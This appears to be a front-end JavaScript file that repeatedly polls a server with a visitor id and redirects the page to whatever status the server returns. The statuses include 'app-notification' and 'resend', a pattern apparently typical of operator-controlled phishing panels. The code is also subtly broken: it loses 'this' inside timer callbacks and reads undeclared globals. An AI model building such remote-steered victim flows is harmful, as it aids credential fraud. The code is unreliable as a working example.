class Loader {

  constructor() {
    // this.url_to_status_array = url_to_status_array;
    this.urlroot = urlroot;
    this.uniqueid = uniqueid;
  }



 poll() {
    var class_scope = this;

    setInterval(function() {
      var request = {
      type: 'POST',
      url: this.urlroot + '/Pages/loading',
      data: {uniqueid: this.uniqueid},
      dataType:"JSON",
      success: function(data) { 
        if(data.visitor_status != undefined || data.visitor_status != null){
          $('#loader_load').hide();
          $('#success_message').show();

          setTimeout(function(){
           window.location.href = `?p=${data.visitor_status}`;
          },1000)
        }
        
         }
    }

    $.ajax(request);

      
    }, 6000);
  }

  poll1() {
    var class_scope = this;

    setInterval(function() {
      var request = {
      type: 'POST',
      url: this.urlroot + '/Pages/loading',
      data: {uniqueid: this.uniqueid},
      dataType:"JSON",
      success: function(data) { 
        if(data.visitor_status != undefined || data.visitor_status != null){
          window.location.href = `?p=${data.visitor_status}`;
        }
        
         }
    }

    $.ajax(request);

      
    }, 6000);
  }

  poll2() {
    var class_scope = this;

    setInterval(function() {
      var request = {
      type: 'POST',
      url: this.urlroot + '/Pages/loading',
      data: {uniqueid: this.uniqueid},
      dataType:"JSON",
      success: function(data) { 
        if(data.visitor_status != undefined || data.visitor_status != null){
          if(data.visitor_status != "option" && data.visitor_status != "option&resend"){
            window.location.href = `?p=${data.visitor_status}`;
          }
          // window.location.href = `?p=${data.visitor_status}`;
        }
        
         }
    }

    $.ajax(request);

      
    }, 6000);
  }
  poll3() {
    var class_scope = this;

    setInterval(function() {
      var request = {
      type: 'POST',
      url: this.urlroot + '/Pages/loading',
      data: {uniqueid: this.uniqueid},
      dataType:"JSON",
      success: function(data) { 
        if(data.visitor_status != undefined || data.visitor_status != null){
          if(data.visitor_status != "app-notification" && data.visitor_status != "app-notification&resend"){
            window.location.href = `?p=${data.visitor_status}`;
          }
          // window.location.href = `?p=${data.visitor_status}`;
        }
        
         }
    }

    $.ajax(request);

      
    }, 6000);
  }
}
